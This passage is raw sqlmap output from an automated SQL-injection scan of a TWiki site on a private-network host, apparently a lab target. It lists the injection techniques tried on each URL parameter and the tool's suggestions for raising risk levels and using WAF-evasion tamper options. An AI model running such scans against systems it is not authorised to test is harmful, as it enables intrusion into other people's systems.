'PostgreSQL > 8.1 AND time-based blind' [18:38:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:38:00] [INFO] testing 'Oracle AND time-based blind' [18:38:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:38:01] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:38:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:38:12] [WARNING] URI parameter '#1*' is not injectable [18:38:12] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 35: GET http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?skin=print do you want to test this URL? [Y/n/q] Y [18:38:12] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?skin=print' [18:38:12] [INFO] testing connection to the target URL [18:38:12] [INFO] testing if the target URL is stable [18:38:13] [INFO] target URL is stable [18:38:13] [INFO] testing if GET parameter 'skin' is dynamic [18:38:13] [INFO] confirming that GET parameter 'skin' is dynamic [18:38:13] [INFO] GET parameter 'skin' is dynamic [18:38:13] [INFO] heuristics detected web page charset 'ascii' [18:38:13] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [18:38:13] [INFO] testing for SQL injection on GET parameter 'skin' [18:38:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:38:13] [WARNING] reflective value(s) found and filtering out [18:38:15] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:38:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:38:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:38:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:38:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:38:17] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:38:17] [INFO] testing 'MySQL inline queries' [18:38:17] [INFO] testing 'PostgreSQL inline queries' [18:38:17] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:38:17] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:38:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:38:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:38:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:38:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:38:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:38:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:38:21] [INFO] testing 'Oracle AND time-based blind' [18:38:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:38:21] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:38:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:38:34] [WARNING] GET parameter 'skin' is not injectable [18:38:34] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 36: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebSearch?rev1=1.13&rev2=1.12 do you want to test this URL? [Y/n/q] Y [18:38:34] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebSearch?rev1=1.13&rev2=1.12' [18:38:34] [INFO] testing connection to the target URL [18:38:34] [INFO] testing if the target URL is stable [18:38:35] [INFO] target URL is stable [18:38:35] [INFO] testing if GET parameter 'rev1' is dynamic [18:38:35] [WARNING] GET parameter 'rev1' does not appear dynamic [18:38:35] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [18:38:35] [INFO] testing for SQL injection on GET parameter 'rev1' [18:38:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:38:36] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:38:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:38:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:38:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:38:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:38:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:38:39] [INFO] testing 'MySQL inline queries' [18:38:39] [INFO] testing 'PostgreSQL inline queries' [18:38:39] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:38:39] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:38:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:38:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:38:40] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:38:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:38:41] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:38:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:38:42] [INFO] testing 'Oracle AND time-based blind' [18:38:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:38:42] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:38:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:38:54] [WARNING] GET parameter 'rev1' is not injectable [18:38:54] [INFO] testing if GET parameter 'rev2' is dynamic [18:38:54] [WARNING] GET parameter 'rev2' does not appear dynamic [18:38:54] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [18:38:54] [INFO] testing for SQL injection on GET parameter 'rev2' [18:38:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:38:56] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:38:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:38:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:38:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:38:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:38:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:38:59] [INFO] testing 'MySQL inline queries' [18:38:59] [INFO] testing 'PostgreSQL inline queries' [18:38:59] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:39:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:39:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:39:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:39:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:39:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:39:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:39:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:39:03] [INFO] testing 'Oracle AND time-based blind' [18:39:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:39:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:39:15] [WARNING] GET parameter 'rev2' is not injectable [18:39:15] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 37: GET http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=1.12 do you want to test this URL? [Y/n/q] Y [18:39:15] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=1.12' [18:39:15] [INFO] testing connection to the target URL [18:39:16] [INFO] testing if the target URL is stable [18:39:17] [INFO] target URL is stable [18:39:17] [INFO] testing if GET parameter 'rev' is dynamic [18:39:17] [WARNING] GET parameter 'rev' does not appear dynamic [18:39:17] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:39:17] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [18:39:17] [INFO] testing for SQL injection on GET parameter 'rev' [18:39:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:39:17] [WARNING] reflective value(s) found and filtering out [18:39:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:39:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:39:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:39:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:39:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:39:21] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:39:21] [INFO] testing 'MySQL inline queries' [18:39:21] [INFO] testing 'PostgreSQL inline queries' [18:39:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:39:21] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:39:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:39:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:39:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:39:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:39:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:39:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:39:24] [INFO] testing 'Oracle AND time-based blind' [18:39:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:39:25] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:39:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:39:38] [WARNING] GET parameter 'rev' is not injectable [18:39:38] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:39:38] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebSearch?rev1=1.12&rev2=1.11' [18:39:38] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=1.11' URL 38: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/WebSearch?template=oopsmore¶m1=1.13¶m2=1.13 do you want to test this URL? [Y/n/q] Y [18:39:38] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WebSearch?template=oopsmore¶m1=1.13¶m2=1.13' [18:39:38] [INFO] testing connection to the target URL [18:39:38] [INFO] testing if the target URL is stable [18:39:39] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [18:39:39] [INFO] testing if GET parameter 'template' is dynamic [18:39:39] [INFO] confirming that GET parameter 'template' is dynamic [18:39:39] [INFO] GET parameter 'template' is dynamic [18:39:39] [INFO] heuristics detected web page charset 'ascii' [18:39:39] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [18:39:39] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [18:39:39] [INFO] testing for SQL injection on GET parameter 'template' [18:39:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:39:39] [WARNING] reflective value(s) found and filtering out [18:39:40] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:39:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:39:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:39:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:39:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:39:42] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:39:42] [INFO] testing 'MySQL inline queries' [18:39:42] [INFO] testing 'PostgreSQL inline queries' [18:39:42] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:39:42] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:39:43] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:39:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:39:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:39:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:39:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:39:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:39:45] [INFO] testing 'Oracle AND time-based blind' [18:39:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:39:45] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:39:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:39:54] [WARNING] GET parameter 'template' is not injectable [18:39:54] [INFO] testing if GET parameter 'param1' is dynamic [18:39:55] [WARNING] GET parameter 'param1' does not appear dynamic [18:39:55] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [18:39:55] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [18:39:55] [INFO] testing for SQL injection on GET parameter 'param1' [18:39:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:39:56] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:39:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:39:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:39:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:39:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:39:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:39:59] [INFO] testing 'MySQL inline queries' [18:39:59] [INFO] testing 'PostgreSQL inline queries' [18:39:59] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:39:59] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:40:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:40:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:40:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:40:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:40:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:40:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:40:03] [INFO] testing 'Oracle AND time-based blind' [18:40:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:40:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:40:18] [WARNING] GET parameter 'param1' is not injectable [18:40:18] [INFO] testing if GET parameter 'param2' is dynamic [18:40:18] [WARNING] GET parameter 'param2' does not appear dynamic [18:40:19] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [18:40:19] [INFO] testing for SQL injection on GET parameter 'param2' [18:40:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:40:20] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:40:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:40:21] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:40:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:40:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:40:22] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:40:23] [INFO] testing 'MySQL inline queries' [18:40:23] [INFO] testing 'PostgreSQL inline queries' [18:40:23] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:40:23] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:40:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:40:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:40:24] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:40:25] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:40:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:40:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:40:26] [INFO] testing 'Oracle AND time-based blind' [18:40:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:40:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:40:37] [INFO] target URL appears to be UNION injectable with 1 columns [18:40:37] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql') [18:40:42] [WARNING] GET parameter 'param2' is not injectable [18:40:42] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 39: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiPreferences?t=1441456700 do you want to test this URL? [Y/n/q] Y [18:40:42] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiPreferences?t=1441456700' [18:40:42] [INFO] testing connection to the target URL [18:40:42] [INFO] testing if the target URL is stable [18:40:43] [INFO] target URL is stable [18:40:43] [INFO] testing if GET parameter 't' is dynamic [18:40:43] [WARNING] GET parameter 't' does not appear dynamic [18:40:43] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [18:40:43] [INFO] testing for SQL injection on GET parameter 't' [18:40:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:40:44] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:40:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:40:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:40:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:40:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:40:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:40:47] [INFO] testing 'MySQL inline queries' [18:40:47] [INFO] testing 'PostgreSQL inline queries' [18:40:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:40:47] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:40:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:40:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:40:48] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:40:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:40:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:40:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:40:51] [INFO] testing 'Oracle AND time-based blind' [18:40:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:40:51] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:40:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:41:04] [WARNING] GET parameter 't' is not injectable [18:41:04] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 40: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki Preferences[^A-Za-z] do you want to test this URL? [Y/n/q] Y [18:41:04] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki Preferences[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:41:04] [INFO] testing connection to the target URL [18:41:04] [INFO] testing if the target URL is stable [18:41:05] [INFO] target URL is stable [18:41:05] [INFO] testing if URI parameter '#1' is dynamic [18:41:05] [WARNING] URI parameter '#1*' does not appear dynamic [18:41:05] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:41:05] [INFO] testing for SQL injection on URI parameter '#1*' [18:41:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:41:06] [WARNING] reflective value(s) found and filtering out [18:41:07] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:41:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:41:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:41:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:41:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:41:09] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:41:09] [INFO] testing 'MySQL inline queries' [18:41:09] [INFO] testing 'PostgreSQL inline queries' [18:41:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:41:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:41:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:41:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:41:11] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:41:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:41:12] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:41:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:41:13] [INFO] testing 'Oracle AND time-based blind' [18:41:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:41:14] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:41:19] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:41:25] [WARNING] URI parameter '#1*' is not injectable [18:41:25] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 41: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?skin=print do you want to test this URL? [Y/n/q] Y [18:41:25] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?skin=print' [18:41:25] [INFO] testing connection to the target URL [18:41:26] [INFO] testing if the target URL is stable [18:41:26] [INFO] target URL is stable [18:41:26] [INFO] testing if GET parameter 'skin' is dynamic [18:41:26] [INFO] confirming that GET parameter 'skin' is dynamic [18:41:27] [INFO] GET parameter 'skin' is dynamic [18:41:27] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [18:41:27] [INFO] testing for SQL injection on GET parameter 'skin' [18:41:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:41:27] [INFO] heuristics detected web page charset 'ascii' [18:41:27] [WARNING] reflective value(s) found and filtering out [18:41:28] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:41:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:41:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:41:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:41:31] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:41:31] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:41:31] [INFO] testing 'MySQL inline queries' [18:41:32] [INFO] testing 'PostgreSQL inline queries' [18:41:32] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:41:32] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:41:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:41:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:41:33] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:41:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:41:35] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:41:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:41:36] [INFO] testing 'Oracle AND time-based blind' [18:41:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:41:37] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:41:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:41:53] [WARNING] GET parameter 'skin' is not injectable [18:41:53] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 42: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiPreferences?rev1=1.48&rev2=1.47 do you want to test this URL? [Y/n/q] Y [18:41:53] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiPreferences?rev1=1.48&rev2=1.47' [18:41:53] [INFO] testing connection to the target URL [18:41:53] [INFO] testing if the target URL is stable [18:41:54] [INFO] target URL is stable [18:41:54] [INFO] testing if GET parameter 'rev1' is dynamic [18:41:54] [WARNING] GET parameter 'rev1' does not appear dynamic [18:41:54] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [18:41:54] [INFO] heuristic (XSS) test shows that GET parameter 'rev1' might be vulnerable to XSS attacks [18:41:54] [INFO] testing for SQL injection on GET parameter 'rev1' [18:41:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:41:54] [WARNING] reflective value(s) found and filtering out [18:41:56] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:41:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:41:56] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:41:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:41:57] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:41:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:41:58] [INFO] testing 'MySQL inline queries' [18:41:58] [INFO] testing 'PostgreSQL inline queries' [18:41:58] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:41:58] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:41:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:41:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:41:59] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:42:00] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:42:00] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:42:01] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:42:01] [INFO] testing 'Oracle AND time-based blind' [18:42:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:42:02] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:42:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:42:14] [WARNING] GET parameter 